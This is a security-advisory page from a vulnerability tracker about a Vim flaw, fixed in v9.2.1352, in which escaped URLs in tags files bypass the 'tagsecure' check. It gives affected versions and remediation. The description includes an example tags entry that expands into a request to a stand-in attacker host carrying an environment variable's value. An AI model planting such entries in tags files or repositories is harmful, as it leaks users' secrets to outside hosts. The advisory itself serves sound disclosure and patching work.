Vim 'tagsecure' bypass via escaped URL in tags file
Key facts
- Attack vector
- —
- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- Information disclosure, Security bypass
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-200 and CWE-693.
Summary
Vim before v9.2.1352 lets a crafted tags file cause a network request to an attacker-controlled host. The URL check on tag file names runs before wildcard and environment variable expansion, so an escaped URL with escaped slashes passes the check and netrw fetches it. A user with the netrw plugin enabled who jumps to a tag from such a file may leak environment variable values to that host.
Written with Claude Haiku 5.5 from the sources below · 2026-11-15
Description from the GitHub advisory
'tagsecure' Bypass via Escaped URL in Tags File in Vim < 9.2.1352 ========================================== Date: 15.11.2026 Severity: Low CVE: *requested, not yet assigned* CWE: Incomplete List of Disallowed Inputs (CWE-184) ## Summary Patch 9.2.0405 made Vim refuse a file name in a tags file that is a URL; patch 9.2.0497 made this configurable with the 'tagsecure' option. The check is done before the file name is expanded. A file name with escaped slashes like `http:\/\/` therefore passes the check and is then opened as a URL by the netrw plugin. ## Description When jumping to a tag, `expand_tag_fname()` rejects the file field of the tag entry if it is a URL and 'tagsecure' is set. Afterwards, a file field containing wildcards or environment variables is expanded, which removes backslashes and expands `$VAR`. A file field like: http:\/\/attacker.example/$SECRET/x* is not recognized as a URL, but expands to `http://attacker.example/<value of $SECRET>/x*`, which netrw then fetches. ## Impact A network request to an attacker-controlled host, which may contain the values of environment variables. Exploitation requires: - Vim with the netrw plugin enabled - the victim using a crafted tags file, e.g. from a cloned repository, and jumping to a tag from it. The severity is rated Low because no command execution is possible and leaking environment variables requires the attacker to guess their names. ## Acknowledgements The Vim project would like to thank Zachariah Mithani for reporting the issue. ## References The issue has been fixed as of Vim patch [v9.2.1352](https://github.com/vim/vim/releases/tag/v9.2.1352). - [Commit](https://github.com/vim/vim/commit/8da4660cf4068e6812b4eacdf78c8b05c7774d9a) - [Github Security Advisory](https://github.com/vim/vim/security/advisories/GHSA-j6wv-2276-36jq)
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | Vim (vim) | < v9.2.1352 | v9.2.1352 | Patch available | GHSA-j6wv-2276-36jq |
- Vim (vim) Vendor— Affected < v9.2.1352 Fixed in v9.2.1352 Patch available GHSA-j6wv-2276-36jq
Remediation
Update Vim to v9.2.1352 or later, which contains the fix in Vim patch v9.2.1352.
Written with Claude Haiku 5.5 from the sources below · 2026-11-15
- Fix · GHSA-j6wv-2276-36jq Vim (vim) Fixed in v9.2.1352 Advisory →
Timeline
- 2026-11-15 Threatist record created from GHSA-j6wv-2276-36jq
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences